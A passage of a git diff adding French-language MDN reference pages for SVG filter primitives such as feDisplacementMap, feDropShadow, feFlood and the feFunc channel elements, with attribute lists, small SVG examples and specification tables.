+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feDistantLight")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("fePointLight")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feSpotLight")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fedisplacementmap/index.html b/files/fr/web/svg/element/fedisplacementmap/index.html
new file mode 100644
index 0000000000..c7d4a56624
--- /dev/null
+++ b/files/fr/web/svg/element/fedisplacementmap/index.html
@@ -0,0 +1,119 @@
+---
+title: <feDisplacementMap>
+slug: Web/SVG/Element/feDisplacementMap
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feDisplacementMap
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feDisplacementMap&gt;</code></strong> utilise les valeurs de pixel de l'image de {{SVGAttr("in2")}} pour déplacer spatialement l'image de {{SVGAttr("in")}}.</p>
+
+<p>La formule utilisée pour la transformation est comme suit:</p>
+
+<pre>P'(x,y) ← P( x + scale * (XC(x,y) - 0.5), y + scale * (YC(x,y) - 0.5))</pre>
+
+<p>où <code>P(x,y)</code> est l'image en entrée, {{SVGAttr("in")}}, et <code>P'(x,y)</code> est la destination. <code>XC(x,y)</code> et <code>YC(x,y)</code> sont les valeurs des composants du canal désigné par {{SVGAttr("xChannelSelector")}} et {{SVGAttr("yChannelSelector")}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitive de filtre</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("in")}}</li>
+ <li>{{SVGAttr("in2")}}</li>
+ <li>{{SVGAttr("scale")}}</li>
+ <li>{{SVGAttr("xChannelSelector")}}</li>
+ <li>{{SVGAttr("yChannelSelector")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEDisplacementMapElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html; highlight[6-7]">&lt;svg width="200" height="200" viewBox="0 0 220 220"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="displacementFilter"&gt;
+    &lt;feTurbulence type="turbulence" baseFrequency="0.05"
+        numOctaves="2" result="turbulence"/&gt;
+    &lt;feDisplacementMap in2="turbulence" in="SourceGraphic"
+        scale="50" xChannelSelector="R" yChannelSelector="G"/&gt;
+  &lt;/filter&gt;
+
+  &lt;circle cx="100" cy="100" r="100"
+      style="filter: url(#displacementFilter)"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Exemple', 220, 220)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feDisplacementMapElement', '&lt;feDisplacementMap&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feDisplacementMapElement', '&lt;feDisplacementMap&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feDisplacementMap")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fedistantlight/index.html b/files/fr/web/svg/element/fedistantlight/index.html
new file mode 100644
index 0000000000..48de9a9195
--- /dev/null
+++ b/files/fr/web/svg/element/fedistantlight/index.html
@@ -0,0 +1,79 @@
+---
+title: <feDistantLight>
+slug: Web/SVG/Element/feDistantLight
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+  - SVG Light Source
+translation_of: Web/SVG/Element/feDistantLight
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <strong><code>&lt;feDistantLight&gt;</code></strong> définit une source de lumière distante, que l'on place dans une primitive de filtre d'éclairage:{{SVGElement("feDiffuseLighting")}} ou {{SVGElement("feSpecularLighting")}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("azimuth")}}</li>
+ <li>{{SVGAttr("elevation")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEDistantLightElement")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feDistantLightElement', '&lt;feDistantLight&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feDistantLightElement', '&lt;feDistantLight&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feDistantLight")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("fePointLight")}}</li>
+ <li>{{SVGElement("feSpotLight")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fedropshadow/index.html b/files/fr/web/svg/element/fedropshadow/index.html
new file mode 100644
index 0000000000..2c09b7aab5
--- /dev/null
+++ b/files/fr/web/svg/element/fedropshadow/index.html
@@ -0,0 +1,110 @@
+---
+title: <feDropShadow>
+slug: Web/SVG/Element/feDropShadow
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feDropShadow
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <strong><code>&lt;feDropShadow&gt;</code></strong> crée une ombre portée pour l'image en entrée. Il s'agit d'un raccourci, le résultat du filtre <code>&lt;feDropShadow&gt;</code> revient à appliquer les primitives suivantes:</p>
+
+<pre class="brush: xml">&lt;feGaussianBlur in="alpha-channel-of-feDropShadow-in"
+    stdDeviation="stdDeviation-of-feDropShadow"/&gt;
+&lt;feOffset dx="dx-of-feDropShadow" dy="dy-of-feDropShadow"
+    result="offsetblur"/&gt;
+&lt;feFlood flood-color="flood-color-of-feDropShadow"
+    flood-opacity="flood-opacity-of-feDropShadow"/&gt;
+&lt;feComposite in2="offsetblur" operator="in"/&gt;
+&lt;feMerge&gt;
+  &lt;feMergeNode/&gt;
+  &lt;feMergeNode in="in-of-feDropShadow"/&gt;
+&lt;/feMerge&gt;
+</pre>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitive de filtre</a></li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("in")}}</li>
+ <li>{{SVGAttr("stdDeviation")}}</li>
+ <li>{{SVGAttr("dx")}}</li>
+ <li>{{SVGAttr("dy")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEDropShadowElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+    &lt;filter id="shadow"&gt;
+      &lt;feDropShadow dx="4" dy="8" stdDeviation="4"/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+
+  &lt;circle cx="50%" cy="50%" r="80"
+      style="fill:blue; filter:url(#shadow);"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", 200, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Filters 1.0", "#feDropShadow", "&lt;feDistantLight&gt;")}}</td>
+   <td>{{Spec2("Filters 1.0")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feDropShadow")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/feflood/index.html b/files/fr/web/svg/element/feflood/index.html
new file mode 100644
index 0000000000..032a1e655e
--- /dev/null
+++ b/files/fr/web/svg/element/feflood/index.html
@@ -0,0 +1,110 @@
+---
+title: <feFlood>
+slug: Web/SVG/Element/feFlood
+tags:
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feFlood
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre SVG <strong><code>&lt;feFlood&gt;</code></strong> remplit la région du filtre avec la couleur et l'opacité définies par {{SVGAttr("flood-color")}} et {{SVGAttr("flood-opacity")}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitives de filtre</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("flood-color")}}</li>
+ <li>{{SVGAttr("flood-opacity")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEFloodElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html">&lt;svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"&gt;
+  &lt;defs&gt;
+    &lt;filter id="floodFilter" filterUnits="userSpaceOnUse"&gt;
+      &lt;feFlood x="50" y="50" width="100" height="100"
+          flood-color="green" flood-opacity="0.5"/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+
+  &lt;use style="filter: url(#floodFilter);"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample("Exemple", 200, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feFloodElement', '&lt;feFlood&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>
+    <p>Supprime la valeur &lt;icccolor&gt; de la propriété {{cssxref("flood-color")}} et définit que le canal alpha est multiplié par la valeur de la propriété {{cssxref("flood-opacity")}}. Clarifie la valeur de la propriété <code>flood-opacity</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feFloodElement', '&lt;feFlood&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feFlood")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("animateColor")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Les filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fefunca/index.html b/files/fr/web/svg/element/fefunca/index.html
new file mode 100644
index 0000000000..a6e6a1b071
--- /dev/null
+++ b/files/fr/web/svg/element/fefunca/index.html
@@ -0,0 +1,76 @@
+---
+title: <feFuncA>
+slug: Web/SVG/Element/feFuncA
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feFuncA
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <code><strong>&lt;feFuncA&gt;</strong></code> doit être placée dans une balise {{SVGElement("feComponentTransfer")}} et elle définit la fonction de transfert pour le canal alpha (opacité) de l'image en entrée.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_fonction_de_transfert">Attributs de fonction de transfert</a></li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<p><em>Aucun</em></p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEFuncAElement")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Filters 1.0", "#feFuncAElement", "&lt;feFuncA&gt;")}}</td>
+   <td>{{Spec2("Filters 1.0")}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "filters.html#feFuncAElement", "&lt;feFuncA&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feFuncA")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feFuncR")}}</li>
+ <li>{{SVGElement("feFuncB")}}</li>
+ <li>{{SVGElement("feFuncG")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fefuncb/index.html b/files/fr/web/svg/element/fefuncb/index.html
new file mode 100644
index 0000000000..739b0c3b44
--- /dev/null
+++ b/files/fr/web/svg/element/fefuncb/index.html
@@ -0,0 +1,76 @@
+---
+title: <feFuncB>
+slug: Web/SVG/Element/feFuncB
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feFuncB
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feFuncB&gt;</code></strong> doit être placée dans une balise {{SVGElement("feComponentTransfer")}} et elle définit la fonction de transfert pour le canal bleu de l'image en entrée.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_fonction_de_transfert">Attributs de fonction de transfert</a></li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<p><em>Aucun</em></p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEFuncBElement")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feFuncBElement', '&lt;feFuncB&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feFuncBElement', '&lt;feFuncB&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feFuncB")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feFuncA")}}</li>
+ <li>{{SVGElement("feFuncR")}}</li>
+ <li>{{SVGElement("feFuncG")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fefuncg/index.html b/files/fr/web/svg/element/fefuncg/index.html
new file mode 100644
index 0000000000..82bb7745ec
--- /dev/null
+++ b/files/fr/web/svg/element/fefuncg/index.html
@@ -0,0 +1,76 @@
+---
+title: <feFuncG>
+slug: Web/SVG/Element/feFuncG
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feFuncG
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feFuncG&gt;</code></strong> doit être placée dans une balise {{SVGElement("feComponentTransfer")}} et elle définit la fonction de transfert pour le canal vert de l'image en entrée.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_fonction_de_transfert">Attributs de fonction de transfert</a></li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<p><em>Aucun</em></p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEFuncGElement")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Filters 1.0", "#feFuncGElement", "&lt;feFuncG&gt;")}}</td>
+   <td>{{Spec2("Filters 1.0")}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "filters.html#feFuncGElement", "&lt;feFuncG&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feFuncG")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feFuncA")}}</li>
+ <li>{{SVGElement("feFuncR")}}</li>
+ <li>{{SVGElement("feFuncB")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres" title="en/SVG/Tutorial/Filter_effects">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fefuncr/index.html b/files/fr/web/svg/element/fefuncr/index.html
new file mode 100644
index 0000000000..99a9217479
--- /dev/null
+++ b/files/fr/web/svg/element/fefuncr/index.html
@@ -0,0 +1,76 @@
+---
+title: <feFuncR>
+slug: Web/SVG/Element/feFuncR
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feFuncR
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <code><strong>&lt;feFuncR&gt;</strong></code> doit être placée dans une balise {{SVGElement("feComponentTransfer")}} et elle définit la fonction de transfert pour le canal rouge de l'image en entrée.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_fonction_de_transfert">Attributs de fonction de transfert</a></li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<p><em>Aucun</em></p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEFuncRElement")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feFuncRElement', '&lt;feFuncR&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feFuncRElement', '&lt;feFuncR&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
